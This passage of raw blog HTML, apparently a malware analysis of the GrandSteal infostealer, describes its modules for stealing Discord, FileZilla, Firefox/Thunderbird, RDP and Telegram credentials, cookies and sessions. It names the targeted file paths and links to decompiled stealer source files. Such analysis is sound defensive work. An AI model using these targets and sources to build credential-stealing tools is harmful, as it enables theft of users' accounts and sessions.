https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>The source code related to this functionality is <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/DiscordManager.cs">DiscordManager.cs</a>.</p><p>2.2.5. FileZilla Stealer</p><p>The malware reads credentials from FileZilla XML files:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lyQSEXmcWK8h63VaCwS64gcgKdr64Tp6ojTgFQ0_-H6xkeTlhxZDbeB5V4_ioVdf2_LxnbsZ-bdzKrvB_nA8rN6Q-nLnBi6lQGV2524_GQjYX_HAgfMMFpw2_FBkaYIDl-XUIiW-eSc/s1600/filezilla.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>The source code related to this functionality is <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/FileZillaManager.cs">FileZillaManager.cs</a>.</p><p>2.2.6.&nbsp;Gecko Stealer</p><p>From wikipedia: "Gecko is a browser engine developed by Mozilla. It is used in the Firefox browser, the Thunderbird email client, and many other projects".</p><p> The malware locates some Gecko important files:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2X1htmVcnHVMD6I2Pt_AJT3FD3dnFKPkRrgtWJQ5WeXDiWWYcw1BQS7Xz9IhethvC3oPTGktHSRrpa5VSUvSSc9u6WXhTU_t0VxNa2hXNcMWHDdVhTJgGc9S4M2n6n-m7ePeiG9mApeE/s1600/gecko.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> It is able to recover credentials:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8T3D7FJV2jsXZWmamtEEJleHxGc3hLOZCeWbhKldj8UPpPAfvp8iRuxJUL1UVwCoQxgiS9E3BBac2IvApHUpVCcErybeLn2dsHRraX43-QALXwrUeJrFSZ-s5-CclXMyA8IFft1eOGpc/s1600/gecko.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> And cookies:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKd3KNHmeR2SmwmjbhyphenhyphenJfxiYUyJmVZcLQdbpuEHHe_y5HgXXKJqgwrPEXPDj5crpWSYWoPjWnUR-wmLEfmkjEUZKwhUMYWgAX8vcjusvnGIEEnFXhrtfycciXCTYeQN5sBgXokwuYJ9s/s1600/gecko.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>The source code related to this functionality is&nbsp;<a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/GeckoManager.cs">GeckoManager.cs</a>.</p><p>2.2.7. RDP Stealer</p><p>The malware can steal RDP credentials:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png" width="400" height="251" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:251,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSHvSVSTviIyiRbLPV3tRxcCky9pn_56TVz3Hl6I32SFmIeZ_wtHNi3E1CBJQm0naxL0m4rCRiUhEzEPN3txDx-vL9K1mdZT6UOD8I7kEl1Un6r-kVO9aFiJQ5rXUQC8riWPGExE1avjI/s400/rdp.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>The source code related to this functionality is&nbsp;<a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/RdpManager.cs">RdpManager.cs</a>.</p><p>2.2.8. Telegram Stealer</p><p>The malware reads the files located at:</p><p>"%appdata%\Telegram Desktop\tdata\D877F783D5D3EF8C\map*"</p><p>From that files, it tries to recover Telegram sessions:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 1456w" sizes="100vw"><img 